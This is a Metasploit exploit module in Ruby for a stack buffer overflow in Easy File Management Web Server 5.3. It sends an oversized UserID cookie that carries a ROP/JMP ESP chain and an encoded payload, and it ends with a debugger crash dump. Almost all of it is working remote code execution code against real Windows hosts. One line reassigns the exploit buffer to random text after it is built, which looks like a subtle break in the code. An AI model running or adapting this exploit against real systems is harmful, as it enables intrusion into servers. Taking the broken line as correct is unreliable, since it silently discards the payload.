Easy File Management Web Server v5.3 Stack Buffer Overflow
TecR0c
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking # Reliable memory corruption
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Easy File Management Web Server v5.3 Stack Buffer Overflow',
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'Description' => %q{
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Easy File Management Web Server contains a stack buffer overflow
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condition that is triggered as user-supplied input is not properly
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validated when handling the User ID cookie. This may allow a remote
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attacker to execute arbitrary code.
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},
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'Author' =>
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[
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'superkojiman', # Vulnerability discovery
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'Julien Ahrens', # Exploit
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'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '107241'],
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['EDB', '33610'],
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['BID', '67542'],
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['URL', 'http://www.cnnvd.org.cn/vulnerability/show/cv_id/2014050536'],
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['URL', 'http://www.web-file-management.com/']
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],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'DefaultOptions' =>
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{
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'ExitFunction' => 'process'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d;",
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'Space' => 3420 # Lets play it safe
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},
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'Targets' =>
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[
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# Successfully tested efmws.exe (5.3.0.0) on:
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# -- Microsoft Windows XP [Version 5.1.2600]
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# -- Microsoft Windows [Version 6.1.7600]
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# -- Microsoft Windows [Version 6.3.9600]
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[ 'efmws 5.3 Windows Universal', { 'Ret' => 0x10010101 } ]
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# PPR from ImageLoad.dll
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],
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'DisclosureDate' => 'May 20 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp'])
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], self.class)
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end
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def check
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#
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# NOTE: Version 5.3 still reports "4.0" in the "Server" header
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#
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res = send_request_raw 'uri' => '/whatsnew.txt'
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if not res
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vprint_status "#{peer} - No response to request"
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return Exploit::CheckCode::Unknown
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end
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if res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/
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version = "#{$1}"
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vprint_status "#{peer} - Found version: #{version}"
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if version == "5.3"
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return Exploit::CheckCode::Appears
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end
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end
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if res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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#
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# Fu to JMP ESP where payload lives
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# NOTE: Opcode 'JMP ESP' only existed in V5.3
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#
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sploit = rand_text(80)
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sploit << [0x1001D8C8].pack("V")
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sploit << rand_text(280)
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sploit << [target.ret].pack("V")
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sploit << [0xA445ABCF].pack("V")
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sploit << [0x10010125].pack("V")
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sploit << [0x10022AAC].pack("V")
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sploit << rand_text(8)
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sploit << [0x1001A187].pack("V")
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sploit << [0x1002466D].pack("V")
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sploit << payload.encoded
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sploit = rand_text(2000)
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print_status "#{peer} - Trying target #{target.name}..."
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#
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# NOTE: Successful HTTP request is required to trigger
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#
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path),
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'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;",
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}, 5)
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end
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end
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=begin
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#
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# 0x44f57d This will write UserID up the stack. If the UserID is to large it
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# will overwrite a pointer which is used later on at 0x468702
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#
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eax=000007d1 ebx=00000000 ecx=000001f4 edx=016198ac esi=01668084 edi=016198ac
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eip=0044f57d esp=016197e8 ebp=ffffffff iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
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fmws+0x4f57d:
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0044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
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0:004> dd @esi
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01668084 41414141 41414141 41414141 41414141
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01668094 41414141 41414141 41414141 41414141
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016680a4 41414141 41414141 41414141 41414141
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016680b4 41414141 41414141 41414141 41414141
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016680c4 41414141 41414141 41414141 41414141
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016680d4 41414141 41414141 41414141 41414141
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016680e4 41414141 41414141 41414141 41414141
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016680f4 41414141 41414141 41414141 41414141
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(c38.8cc): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=00000000 ebx=00000000 ecx=015198fc edx=41414141 esi=015198ec edi=015198fc
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eip=00468702 esp=015197c0 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
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fmws+0x68702:
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00468702 ff5228 call dword ptr [edx+28h] ds:0023:41414169=????????
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=end
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